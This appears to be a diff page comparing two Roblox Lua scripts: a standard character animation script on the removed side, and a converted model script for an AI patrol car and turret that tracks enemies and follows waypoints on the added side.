| 253 | + | Part6.CFrame = CFrame.new(-51.600708, 2.09674978, 124.494125, 0.999666154, -0.0012761876, 0.0255871303, -0.0225983076, 0.426574051, 0.904170275, -0.0120680872, -0.904444993, 0.426402092) |
| 254 | Part6.BottomSurface = Enum.SurfaceType.Smooth | |
| 255 | - | local currentAnim = "" |
| 255 | + | Part6.RightSurface = Enum.SurfaceType.Motor |
| 256 | - | local currentAnimTrack = nil |
| 256 | + | Part6.TopSurface = Enum.SurfaceType.Smooth |
| 257 | - | local currentAnimKeyframeHandler = nil |
| 257 | + | Part6.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 258 | - | local oldAnimTrack = nil |
| 258 | + | Part6.Position = Vector3.new(-51.600708, 2.09674978, 124.494125) |
| 259 | - | local animTable = {}
|
| 259 | + | Part6.Orientation = Vector3.new(-64.7099991, 3.42999983, -3.02999997) |
| 260 | - | local animNames = {
|
| 260 | + | Part6.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 261 | - | idle = {
|
| 261 | + | Part7.Name = "BSensor" |
| 262 | - | { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
|
| 262 | + | Part7.Parent = Model1 |
| 263 | - | { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
|
| 263 | + | Part7.BrickColor = BrickColor.new("White")
|
| 264 | - | }, |
| 264 | + | Part7.Rotation = Vector3.new(-179.229996, 89.4899979, 179.5) |
| 265 | - | walk = {
|
| 265 | + | Part7.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 266 | - | { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
|
| 266 | + | Part7.Velocity = Vector3.new(-0.583751321, -0.557341218, 14.9268761) |
| 267 | - | }, |
| 267 | + | Part7.Size = Vector3.new(1, 1.20000005, 8) |
| 268 | - | run = {
|
| 268 | + | Part7.CFrame = CFrame.new(-46.1015892, 2.34793091, 124.44252, -0.00775486277, -6.74181647e-05, 0.999960005, 0.00475054095, 0.999988735, 0.000104205756, -0.999945402, 0.00475120218, -0.00775338616) |
| 269 | - | { id = "run.xml", weight = 10 }
|
| 269 | + | Part7.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 270 | - | }, |
| 270 | + | Part7.Position = Vector3.new(-46.1015892, 2.34793091, 124.44252) |
| 271 | - | jump = {
|
| 271 | + | Part7.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) |
| 272 | - | { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
|
| 272 | + | Part7.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 273 | - | }, |
| 273 | + | Part8.Name = "Engine" |
| 274 | - | fall = {
|
| 274 | + | Part8.Parent = Model1 |
| 275 | - | { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
|
| 275 | + | Part8.BrickColor = BrickColor.new("White")
|
| 276 | - | }, |
| 276 | + | Part8.Rotation = Vector3.new(177.369995, -0.219999999, 179.98999) |
| 277 | - | climb = {
|
| 277 | + | Part8.RotVelocity = Vector3.new(-1.13230169, -0.0245904382, -0.00745510031) |
| 278 | - | { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
|
| 278 | + | Part8.Velocity = Vector3.new(0.107708216, 0.541628122, 16.6579399) |
| 279 | - | }, |
| 279 | + | Part8.CanCollide = false |
| 280 | - | toolnone = {
|
| 280 | + | Part8.Size = Vector3.new(8, 1.20000005, 1) |
| 281 | - | { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
|
| 281 | + | Part8.CFrame = CFrame.new(-46.0156784, 2.35185194, 135.492783, -0.999987185, -0.000261576526, -0.00377563667, -8.8059518e-05, 0.998947144, -0.0458760969, 0.00378306769, -0.0458750539, -0.998932481) |
| 282 | - | }, |
| 282 | + | Part8.TopSurface = Enum.SurfaceType.Smooth |
| 283 | - | toolslash = {
|
| 283 | + | Part8.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 284 | - | { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
|
| 284 | + | Part8.Position = Vector3.new(-46.0156784, 2.35185194, 135.492783) |
| 285 | - | -- { id = "slash.xml", weight = 10 }
|
| 285 | + | Part8.Orientation = Vector3.new(2.62999988, -179.779999, -0.00999999978) |
| 286 | - | }, |
| 286 | + | Part8.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 287 | - | toollunge = {
|
| 287 | + | BodyGyro9.Parent = Part8 |
| 288 | - | { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
|
| 288 | + | BodyGyro9.CFrame = CFrame.new(20, 2.20000005, -15.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) |
| 289 | - | }, |
| 289 | + | BodyGyro9.maxTorque = Vector3.new(100, 0, 100) |
| 290 | - | wave = {
|
| 290 | + | BodyGyro9.P = 100 |
| 291 | - | { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
|
| 291 | + | BodyGyro9.D = 5 |
| 292 | - | }, |
| 292 | + | BodyGyro9.MaxTorque = Vector3.new(100, 0, 100) |
| 293 | - | point = {
|
| 293 | + | Script10.Parent = Part8 |
| 294 | - | { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
|
| 294 | + | table.insert(cors,sandbox(Script10,function() |
| 295 | - | }, |
| 295 | + | --base = script.Parent.Parent.Base |
| 296 | - | dance = {
|
| 296 | + | local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"] |
| 297 | - | { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
|
| 297 | + | local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"] |
| 298 | - | { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
|
| 298 | + | local isTeamGame = script.Parent.Parent.Parent.TeamGame |
| 299 | - | { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
|
| 299 | + | local MyTeamColor = script.Parent.Parent.Parent.TeamColor |
| 300 | - | }, |
| 300 | + | local SightRadius = script.Parent.Parent.Parent.ScanRange |
| 301 | - | laugh = {
|
| 301 | + | local MyStatus = script.Parent.Parent.MyStatus |
| 302 | - | { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
|
| 302 | + | local patrolling = script.Parent.Parent.Patroling |
| 303 | - | }, |
| 303 | + | function move(target, engine) |
| 304 | - | cheer = {
|
| 304 | + | local origincframe = engine:findFirstChild("BodyGyro").cframe
|
| 305 | - | { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
|
| 305 | + | local dir = (target - engine.Position).unit |
| 306 | - | }, |
| 306 | + | local spawnPos = engine.Position |
| 307 | - | } |
| 307 | + | local pos = spawnPos + dir |
| 308 | ||
| 309 | - | -- Existance in this list signifies that it is an emote, the value indicates If it is a looping emote |
| 309 | + | engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(0,90, 0)
|
| 310 | - | local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
|
| 310 | + | engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
|
| 311 | - | |
| 311 | + | |
| 312 | - | math.randomseed(tick()) |
| 312 | + | |
| 313 | - | |
| 313 | + | function findNearestTorso(pos) |
| 314 | - | -- Setup animation objects |
| 314 | + | local list = game.Workspace:children() |
| 315 | - | for name, fileList in pairs(animNames) do |
| 315 | + | local torso = nil |
| 316 | - | animTable[name] = {}
|
| 316 | + | local dist = SightRadius.Value |
| 317 | - | animTable[name].count = 0 |
| 317 | + | local temp = nil |
| 318 | - | animTable[name].totalWeight = 0 |
| 318 | + | local human = nil |
| 319 | local temp2 = nil | |
| 320 | - | -- check for config values |
| 320 | + | for x = 1, #list do |
| 321 | - | local config = script:FindFirstChild(name) |
| 321 | + | temp2 = list[x] |
| 322 | - | if (config ~= nil) then |
| 322 | + | if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then |
| 323 | - | -- print("Loading anims " .. name)
|
| 323 | + | temp = temp2:findFirstChild("Torso")
|
| 324 | - | local idx = 1 |
| 324 | + | human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
|
| 325 | - | for _, childPart in pairs(config:GetChildren()) do |
| 325 | + | local player = game.Players:GetPlayerFromCharacter(temp2) |
| 326 | - | animTable[name][idx] = {}
|
| 326 | + | local Ai = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
|
| 327 | - | animTable[name][idx].anim = childPart |
| 327 | + | if(Ai ~= nil) then -- for my turrets and cars etc.... |
| 328 | - | local weightObject = childPart:FindFirstChild("Weight")
|
| 328 | + | local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
|
| 329 | - | if (weightObject == nil) then |
| 329 | + | local EN = Ai:findFirstChild("Engine") -- for our Ai Cars etc...
|
| 330 | - | animTable[name][idx].weight = 1 |
| 330 | + | local MyAiCar = script.Parent.Parent.Parent.Parent |
| 331 | local TeamColor = Ai.Parent:findFirstChild("TeamColor")
| |
| 332 | - | animTable[name][idx].weight = weightObject.Value |
| 332 | + | local TeamGame = Ai.Parent:findFirstChild("TeamGame")
|
| 333 | if(LP ~= nil) then | |
| 334 | - | animTable[name].count = animTable[name].count + 1 |
| 334 | + | if(TeamColor ~= nil and TeamGame ~= nil) then |
| 335 | - | animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight |
| 335 | + | if(TeamGame.Value == true) then |
| 336 | - | -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
|
| 336 | + | if(TeamColor.Value ~= MyTeamColor.Value) then |
| 337 | - | idx = idx + 1 |
| 337 | + | if (LP.Position - pos).magnitude < dist then |
| 338 | torso = LP | |
| 339 | dist = (LP.Position - pos).magnitude | |
| 340 | end | |
| 341 | - | -- fallback to defaults |
| 341 | + | end |
| 342 | - | if (animTable[name].count <= 0) then |
| 342 | + | else |
| 343 | - | for idx, anim in pairs(fileList) do |
| 343 | + | if (LP.Position - pos).magnitude < dist then |
| 344 | - | animTable[name][idx] = {}
|
| 344 | + | torso = LP |
| 345 | - | animTable[name][idx].anim = Instance.new("Animation")
|
| 345 | + | dist = (LP.Position - pos).magnitude |
| 346 | - | animTable[name][idx].anim.Name = name |
| 346 | + | end |
| 347 | - | animTable[name][idx].anim.AnimationId = anim.id |
| 347 | + | end |
| 348 | - | animTable[name][idx].weight = anim.weight |
| 348 | + | |
| 349 | - | animTable[name].count = animTable[name].count + 1 |
| 349 | + | |
| 350 | - | animTable[name].totalWeight = animTable[name].totalWeight + anim.weight |
| 350 | + | if(EN ~= nil) then |
| 351 | - | -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
|
| 351 | + | if(TeamColor ~= nil and TeamGame ~= nil) then |
| 352 | if(TeamGame.Value == true) then | |
| 353 | if(TeamColor.Value ~= MyTeamColor.Value) then | |
| 354 | if (EN.Position - pos).magnitude < dist then | |
| 355 | - | |
| 355 | + | torso =EN |
| 356 | - | -- ANIMATION |
| 356 | + | dist = (EN.Position - pos).magnitude |
| 357 | - | |
| 357 | + | end |
| 358 | - | -- declarations |
| 358 | + | end |
| 359 | - | local toolAnim = "None" |
| 359 | + | end |
| 360 | - | local toolAnimTime = 0 |
| 360 | + | else |
| 361 | - | |
| 361 | + | if(TeamColor ~= nil and TeamGame ~= nil) then |
| 362 | - | local jumpAnimTime = 0 |
| 362 | + | if(TeamGame.Value == true) then |
| 363 | - | local jumpAnimDuration = 0.175 |
| 363 | + | if(TeamColor.Value ~= MyTeamColor.Value) then |
| 364 | - | |
| 364 | + | if (EN.Position - pos).magnitude < dist then |
| 365 | - | local toolTransitionTime = 0.1 |
| 365 | + | torso =EN |
| 366 | - | local fallTransitionTime = 0.2 |
| 366 | + | dist = (EN.Position - pos).magnitude |
| 367 | - | local jumpMaxLimbVelocity = 0.75 |
| 367 | + | end |
| 368 | - | |
| 368 | + | end |
| 369 | - | -- functions |
| 369 | + | else |
| 370 | - | |
| 370 | + | if (EN.Position - pos).magnitude < dist then |
| 371 | - | function stopAllAnimations() |
| 371 | + | torso = EN |
| 372 | - | local oldAnim = currentAnim |
| 372 | + | dist = (EN.Position - pos).magnitude |
| 373 | end | |
| 374 | - | -- return to idle If finishing an emote |
| 374 | + | end |
| 375 | - | if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then |
| 375 | + | end |
| 376 | - | oldAnim = "idle" |
| 376 | + | |
| 377 | end | |
| 378 | end | |
| 379 | - | currentAnim = "" |
| 379 | + | if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies |
| 380 | - | if (currentAnimKeyframeHandler ~= nil) then |
| 380 | + | if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then |
| 381 | - | currentAnimKeyframeHandler:disconnect() |
| 381 | + | if(human.Name ~= "Zombie") then |
| 382 | human = nil | |
| 383 | temp = nil | |
| 384 | - | if (oldAnimTrack ~= nil) then |
| 384 | + | |
| 385 | - | oldAnimTrack:Stop() |
| 385 | + | |
| 386 | - | oldAnimTrack:Destroy() |
| 386 | + | if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then |
| 387 | - | oldAnimTrack = nil |
| 387 | + | if(human.Name ~= "Humanoid") then |
| 388 | human = nil | |
| 389 | - | if (currentAnimTrack ~= nil) then |
| 389 | + | temp = nil |
| 390 | - | currentAnimTrack:Stop() |
| 390 | + | else |
| 391 | - | currentAnimTrack:Destroy() |
| 391 | + | if(player ~= nil) then |
| 392 | - | currentAnimTrack = nil |
| 392 | + | if(isTeamGame.Value == true) then |
| 393 | if(player.TeamColor == MyTeamColor.Value) then | |
| 394 | - | return oldAnim |
| 394 | + | human = nil |
| 395 | temp = nil | |
| 396 | - | |
| 396 | + | end |
| 397 | - | function keyFrameReachedFunc(frameName) |
| 397 | + | end |
| 398 | - | if (frameName == "End") then |
| 398 | + | end |
| 399 | - | -- print("Keyframe : ".. frameName)
|
| 399 | + | |
| 400 | - | local repeatAnim = stopAllAnimations() |
| 400 | + | |
| 401 | - | playAnimation(repeatAnim, 0.0, Humanoid) |
| 401 | + | if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then |
| 402 | if(player ~= nil) then | |
| 403 | if(isTeamGame.Value == true) then | |
| 404 | - | |
| 404 | + | if(player.TeamColor == MyTeamColor.Value) then |
| 405 | - | -- Preload animations |
| 405 | + | human = nil |
| 406 | - | function playAnimation(animName, transitionTime, humanoid) |
| 406 | + | temp = nil |
| 407 | - | if (animName ~= currentAnim) then |
| 407 | + | end |
| 408 | end | |
| 409 | - | if (oldAnimTrack ~= nil) then |
| 409 | + | |
| 410 | - | oldAnimTrack:Stop() |
| 410 | + | |
| 411 | - | oldAnimTrack:Destroy() |
| 411 | + | if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then |
| 412 | temp = nil | |
| 413 | human = nil | |
| 414 | - | local roll = math.random(1, animTable[animName].totalWeight) |
| 414 | + | |
| 415 | - | local origRoll = roll |
| 415 | + | |
| 416 | - | local idx = 1 |
| 416 | + | if (temp ~= nil and human ~= nil) then |
| 417 | - | while (roll > animTable[animName][idx].weight) do |
| 417 | + | if (temp.Position - pos).magnitude < dist and human.Health > 0 then |
| 418 | - | roll = roll - animTable[animName][idx].weight |
| 418 | + | torso = temp |
| 419 | - | idx = idx + 1 |
| 419 | + | dist = (temp.Position - pos).magnitude |
| 420 | end | |
| 421 | - | -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") |
| 421 | + | |
| 422 | - | local anim = animTable[animName][idx].anim |
| 422 | + | |
| 423 | end | |
| 424 | - | -- load it to the humanoid; get AnimationTrack |
| 424 | + | return torso |
| 425 | - | oldAnimTrack = currentAnimTrack |
| 425 | + | |
| 426 | - | currentAnimTrack = humanoid:LoadAnimation(anim) |
| 426 | + | function patrol() |
| 427 | - | |
| 427 | + | local myPathName = script.Parent.Parent.Parent.MyPathName.Value |
| 428 | - | -- play the animation |
| 428 | + | local Wheels = script.Parent.Parent.Wheels |
| 429 | - | currentAnimTrack:Play(transitionTime) |
| 429 | + | local FRWheel = Wheels.FRWheel |
| 430 | - | currentAnim = animName |
| 430 | + | local FLWheel = Wheels.FLWheel |
| 431 | local RLWheel = Wheels.RLWheel | |
| 432 | - | -- set up keyframe name triggers |
| 432 | + | local RRWheel = Wheels.RRWheel |
| 433 | - | if (currentAnimKeyframeHandler ~= nil) then |
| 433 | + | if(myPathName == nil) then return end |
| 434 | - | currentAnimKeyframeHandler:disconnect() |
| 434 | + | local MyPatrol = game.Workspace:findFirstChild(myPathName) |
| 435 | if(MyPatrol == nil) then return end | |
| 436 | - | currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) |
| 436 | + | if points==nil then |
| 437 | points=0 | |
| 438 | nextPoint = script.Parent.Parent.PatrolPoint | |
| 439 | - | |
| 439 | + | nextPoint.Value = 1 |
| 440 | - | ------------------------------------------------------------------------------------------- |
| 440 | + | PP = {}
|
| 441 | - | ------------------------------------------------------------------------------------------- |
| 441 | + | Pnum = MyPatrol:children() |
| 442 | - | |
| 442 | + | for i = 1, #Pnum do |
| 443 | - | local toolAnimName = "" |
| 443 | + | if MyPatrol:findFirstChild("VPP"..i)~=nil then
|
| 444 | - | local toolOldAnimTrack = nil |
| 444 | + | PP[i] =MyPatrol:findFirstChild("VPP"..i)
|
| 445 | - | local toolAnimTrack = nil |
| 445 | + | points=points+1 |
| 446 | - | local currentToolAnimKeyframeHandler = nil |
| 446 | + | |
| 447 | - | |
| 447 | + | |
| 448 | - | function toolKeyFrameReachedFunc(frameName) |
| 448 | + | |
| 449 | - | if (frameName == "End") then |
| 449 | + | if points<1 then return end |
| 450 | - | -- print("Keyframe : ".. frameName)
|
| 450 | + | patrolling.Value=true |
| 451 | - | local repeatAnim = stopToolAnimations() |
| 451 | + | local time=math.random(3,5) -- wait time |
| 452 | - | playToolAnimation(repeatAnim, 0.0, Humanoid) |
| 452 | + | if points==1 then return end |
| 453 | if points>1 then | |
| 454 | script.Parent.BodyGyro.P = 4000 | |
| 455 | - | |
| 455 | + | script.Parent.BodyGyro.D = 200 |
| 456 | - | |
| 456 | + | FRWheel.RightParamB = -1 |
| 457 | - | function playToolAnimation(animName, transitionTime, humanoid) |
| 457 | + | FLWheel.RightParamB = 1 |
| 458 | - | if (animName ~= toolAnimName) then |
| 458 | + | RLWheel.RightParamB = 1 |
| 459 | RRWheel.RightParamB = -1 | |
| 460 | - | if (toolAnimTrack ~= nil) then |
| 460 | + | move(PP[nextPoint.Value].Position,script.Parent) |
| 461 | - | toolAnimTrack:Stop() |
| 461 | + | while patrolling.Value==true do |
| 462 | - | toolAnimTrack:Destroy() |
| 462 | + | local target = findNearestTorso(script.Parent.Position) |
| 463 | - | transitionTime = 0 |
| 463 | + | if target ~= nil then |
| 464 | patrolling.Value = false | |
| 465 | end | |
| 466 | - | local roll = math.random(1, animTable[animName].totalWeight) |
| 466 | + | T = script.Parent |
| 467 | - | local origRoll = roll |
| 467 | + | if(T ~= nil) then |
| 468 | - | local idx = 1 |
| 468 | + | dis = (T.Position - PP[nextPoint.Value].Position).magnitude |
| 469 | - | while (roll > animTable[animName][idx].weight) do |
| 469 | + | move(PP[nextPoint.Value].Position,script.Parent) |
| 470 | - | roll = roll - animTable[animName][idx].weight |
| 470 | + | if(dis < 50) then |
| 471 | - | idx = idx + 1 |
| 471 | + | if(nextPoint.Value < #PP) then |
| 472 | nextPoint.Value=nextPoint.Value+1 | |
| 473 | - | -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") |
| 473 | + | else |
| 474 | - | local anim = animTable[animName][idx].anim |
| 474 | + | nextPoint.Value = 1 |
| 475 | end | |
| 476 | - | -- load it to the humanoid; get AnimationTrack |
| 476 | + | --wait(time) |
| 477 | - | toolOldAnimTrack = toolAnimTrack |
| 477 | + | |
| 478 | - | toolAnimTrack = humanoid:LoadAnimation(anim) |
| 478 | + | |
| 479 | - | |
| 479 | + | |
| 480 | - | -- play the animation |
| 480 | + | |
| 481 | - | toolAnimTrack:Play(transitionTime) |
| 481 | + | |
| 482 | - | toolAnimName = animName |
| 482 | + | |
| 483 | script.Parent.BodyGyro.cframe = script.Parent.CFrame | |
| 484 | - | currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) |
| 484 | + | wait(1) |
| 485 | while true do | |
| 486 | local Wheels = script.Parent.Parent.Wheels | |
| 487 | - | |
| 487 | + | local FRWheel = Wheels.FRWheel |
| 488 | - | function stopToolAnimations() |
| 488 | + | local FLWheel = Wheels.FLWheel |
| 489 | - | local oldAnim = toolAnimName |
| 489 | + | local RLWheel = Wheels.RLWheel |
| 490 | local RRWheel = Wheels.RRWheel | |
| 491 | - | if (currentToolAnimKeyframeHandler ~= nil) then |
| 491 | + | local BSensor = script.Parent.Parent.BSensor |
| 492 | - | currentToolAnimKeyframeHandler:disconnect() |
| 492 | + | target = findNearestTorso(script.Parent.Position) |
| 493 | if(target ~= nil) then | |
| 494 | MyStatus.Value = "Tracking Enemy" | |
| 495 | - | toolAnimName = "" |
| 495 | + | patrolling.Value = false |
| 496 | - | if (toolAnimTrack ~= nil) then |
| 496 | + | if((target.Position - script.Parent.Position).magnitude > 80) then |
| 497 | - | toolAnimTrack:Stop() |
| 497 | + | script.Parent.BodyGyro.cframe = script.Parent.CFrame |
| 498 | - | toolAnimTrack:Destroy() |
| 498 | + | script.Parent.BodyGyro.P = 4000 |
| 499 | - | toolAnimTrack = nil |
| 499 | + | script.Parent.BodyGyro.D = 200 |
| 500 | move(target.Position,script.Parent) | |
| 501 | FRWheel.RightParamB = -1 | |
| 502 | FLWheel.RightParamB = 1 | |
| 503 | - | return oldAnim |
| 503 | + | RLWheel.RightParamB = 1 |
| 504 | RRWheel.RightParamB = -1 | |
| 505 | - | |
| 505 | + | |
| 506 | - | ------------------------------------------------------------------------------------------- |
| 506 | + | if(((target.Position - script.Parent.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude < (target.Position - BSensor.Position).magnitude) then |
| 507 | - | ------------------------------------------------------------------------------------------- |
| 507 | + | script.Parent.BodyGyro.cframe = script.Parent.CFrame |
| 508 | - | |
| 508 | + | script.Parent.BodyGyro.P = 4000 |
| 509 | - | |
| 509 | + | script.Parent.BodyGyro.D = 200 |
| 510 | - | function onRunning(speed) |
| 510 | + | move(target.Position,script.Parent) |
| 511 | - | if speed>0 then |
| 511 | + | FRWheel.RightParamB = 1 |
| 512 | - | playAnimation("walk", 0.1, Humanoid)
|
| 512 | + | FLWheel.RightParamB = -1 |
| 513 | - | pose = "Running" |
| 513 | + | RLWheel.RightParamB = -1 |
| 514 | RRWheel.RightParamB = 1 | |
| 515 | - | playAnimation("idle", 0.1, Humanoid)
|
| 515 | + | elseif(((target.Position - BSensor.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude > (target.Position - BSensor.Position).magnitude) then |
| 516 | - | pose = "Standing" |
| 516 | + | script.Parent.BodyGyro.cframe = script.Parent.CFrame |
| 517 | script.Parent.BodyGyro.P = 4000 | |
| 518 | script.Parent.BodyGyro.D = 200 | |
| 519 | - | |
| 519 | + | move(target.Position,script.Parent) |
| 520 | - | function onDied() |
| 520 | + | FRWheel.RightParamB = -1 |
| 521 | - | pose = "Dead" |
| 521 | + | FLWheel.RightParamB = 1 |
| 522 | RLWheel.RightParamB = 1 | |
| 523 | - | |
| 523 | + | RRWheel.RightParamB = -1 |
| 524 | - | function onJumping() |
| 524 | + | elseif(((target.Position - script.Parent.Position).magnitude > 60) and (target.Position - script.Parent.Position).magnitude >60) then |
| 525 | - | playAnimation("jump", 0.1, Humanoid)
|
| 525 | + | FRWheel.RightParamB = 0 |
| 526 | - | jumpAnimTime = jumpAnimDuration |
| 526 | + | FLWheel.RightParamB = 0 |
| 527 | - | pose = "Jumping" |
| 527 | + | RLWheel.RightParamB = 0 |
| 528 | RRWheel.RightParamB = 0 | |
| 529 | - | |
| 529 | + | |
| 530 | - | function onClimbing() |
| 530 | + | |
| 531 | - | playAnimation("climb", 0.1, Humanoid)
|
| 531 | + | |
| 532 | - | pose = "Climbing" |
| 532 | + | local myPathName = script.Parent.Parent.Parent.MyPathName.Value |
| 533 | if(myPathName ~= nil) then | |
| 534 | - | |
| 534 | + | local PathGroup = game.Workspace:findFirstChild(myPathName) |
| 535 | - | function onGettingUp() |
| 535 | + | if(PathGroup ~= nil) then |
| 536 | - | pose = "GettingUp" |
| 536 | + | local check = PathGroup:children() |
| 537 | if(#check >1) then | |
| 538 | - | |
| 538 | + | MyStatus.Value = "Patroling" |
| 539 | - | function onFreeFall() |
| 539 | + | patrolling.Value = true |
| 540 | - | if (jumpAnimTime <= 0) then |
| 540 | + | patrol() |
| 541 | - | playAnimation("fall", fallTransitionTime, Humanoid)
|
| 541 | + | else |
| 542 | MyStatus.Value = "None" | |
| 543 | - | pose = "FreeFall" |
| 543 | + | patrolling.Value = false |
| 544 | end | |
| 545 | - | |
| 545 | + | |
| 546 | - | function onFallingDown() |
| 546 | + | |
| 547 | - | pose = "FallingDown" |
| 547 | + | patrolling.Value = false |
| 548 | end | |
| 549 | - | |
| 549 | + | if(patrolling.Value == false) then |
| 550 | - | function onSeated() |
| 550 | + | MyStatus.Value = "Guarding" |
| 551 | - | pose = "Seated" |
| 551 | + | FRWheel.RightParamB = 0 |
| 552 | FLWheel.RightParamB = 0 | |
| 553 | - | |
| 553 | + | RLWheel.RightParamB = 0 |
| 554 | - | function onPlatformStanding() |
| 554 | + | RRWheel.RightParamB = 0 |
| 555 | - | pose = "PlatformStanding" |
| 555 | + | |
| 556 | end | |
| 557 | - | |
| 557 | + | wait(0) |
| 558 | - | function onSwimming(speed) |
| 558 | + | |
| 559 | - | if speed>0 then |
| 559 | + | |
| 560 | - | pose = "Running" |
| 560 | + | |
| 561 | StringValue11.Name = "MyStatus" | |
| 562 | - | pose = "Standing" |
| 562 | + | StringValue11.Parent = Model1 |
| 563 | Script12.Name = "Turret+ColorUpdater" | |
| 564 | Script12.Parent = Model1 | |
| 565 | - | |
| 565 | + | table.insert(cors,sandbox(Script12,function() |
| 566 | - | function getTool() |
| 566 | + | local ZombieTarget = script.Parent.Parent["Target Zombies"] |
| 567 | - | for _, kid in ipairs(Figure:GetChildren()) do |
| 567 | + | local HumanoidTarget = script.Parent.Parent["Target Humanoids"] |
| 568 | - | if kid.className == "Tool" then return kid end |
| 568 | + | local isTeamGame = script.Parent.Parent.TeamGame |
| 569 | local MyTeamColor = script.Parent.Parent.TeamColor | |
| 570 | - | return nil |
| 570 | + | local SightRadius = script.Parent.Parent.ScanRange |
| 571 | local Base = script.Parent.Parent | |
| 572 | - | |
| 572 | + | local StatusBrick = script.Parent["Status"] |
| 573 | - | function getToolAnim(tool) |
| 573 | + | function getOwnTurrets(base) |
| 574 | - | for _, c in ipairs(tool:GetChildren()) do |
| 574 | + | local bits = base:children() |
| 575 | - | if c.Name == "toolanim" and c.className == "StringValue" then |
| 575 | + | local Turrets = {}
|
| 576 | - | return c |
| 576 | + | local Tnum = 1 |
| 577 | for i=1,#bits do | |
| 578 | local tmp = bits[i] | |
| 579 | - | return nil |
| 579 | + | local TurretBrain = tmp:findFirstChild("Brain")
|
| 580 | if(TurretBrain ~= nil) then | |
| 581 | - | |
| 581 | + | Turrets[Tnum] = TurretBrain.Parent |
| 582 | - | function animateTool() |
| 582 | + | Tnum = Tnum +1 |
| 583 | end | |
| 584 | - | if (toolAnim == "None") then |
| 584 | + | |
| 585 | - | playToolAnimation("toolnone", toolTransitionTime, Humanoid)
|
| 585 | + | if(#Turrets > 0) then |
| 586 | - | return |
| 586 | + | return Turrets |
| 587 | else | |
| 588 | return nil | |
| 589 | - | if (toolAnim == "Slash") then |
| 589 | + | |
| 590 | - | playToolAnimation("toolslash", 0, Humanoid)
|
| 590 | + | |
| 591 | - | return |
| 591 | + | |
| 592 | function updateTurrets() | |
| 593 | local MyTurrets = getOwnTurrets(Base) | |
| 594 | - | if (toolAnim == "Lunge") then |
| 594 | + | if(MyTurrets ~= nil) then -- Update our Turrets |
| 595 | - | playToolAnimation("toollunge", 0, Humanoid)
|
| 595 | + | for i=1, #MyTurrets do |
| 596 | - | return |
| 596 | + | local TZombieTarget = MyTurrets[i]["Target Zombies"] |
| 597 | local THumanoidTarget = MyTurrets[i]["Target Humanoids"] | |
| 598 | local TisTeamGame = MyTurrets[i].TeamGame | |
| 599 | - | |
| 599 | + | local TMyTeamColor = MyTurrets[i].TeamColor |
| 600 | - | function moveSit() |
| 600 | + | local TSightRadius = MyTurrets[i].ScanRange |
| 601 | - | RightHip:SetDesiredAngle(3.14 /2) |
| 601 | + | TZombieTarget.Value = ZombieTarget.Value |
| 602 | - | LeftHip:SetDesiredAngle(-3.14 /2) |
| 602 | + | THumanoidTarget.Value = HumanoidTarget.Value |
| 603 | TisTeamGame.Value = isTeamGame.Value | |
| 604 | - | |
| 604 | + | TMyTeamColor.Value = MyTeamColor.Value |
| 605 | - | local lastTick = 0 |
| 605 | + | if(SightRadius.Value > 100) then |
| 606 | - | |
| 606 | + | TSightRadius.Value = SightRadius.Value - 100 |
| 607 | - | function move(time) |
| 607 | + | |
| 608 | - | local amplitude = 1 |
| 608 | + | TSightRadius.Value = SightRadius.Value |
| 609 | - | local frequency = 1 |
| 609 | + | |
| 610 | - | local deltaTime = time - lastTick |
| 610 | + | |
| 611 | - | lastTick = time |
| 611 | + | |
| 612 | setTeam() | |
| 613 | - | local climbFudge = 0 |
| 613 | + | |
| 614 | - | local setAngles = false |
| 614 | + | function retriveParts(model,myColor) |
| 615 | local raw_model = model:GetChildren() | |
| 616 | - | if (jumpAnimTime > 0) then |
| 616 | + | for i=1,#raw_model do |
| 617 | - | jumpAnimTime = jumpAnimTime - deltaTime |
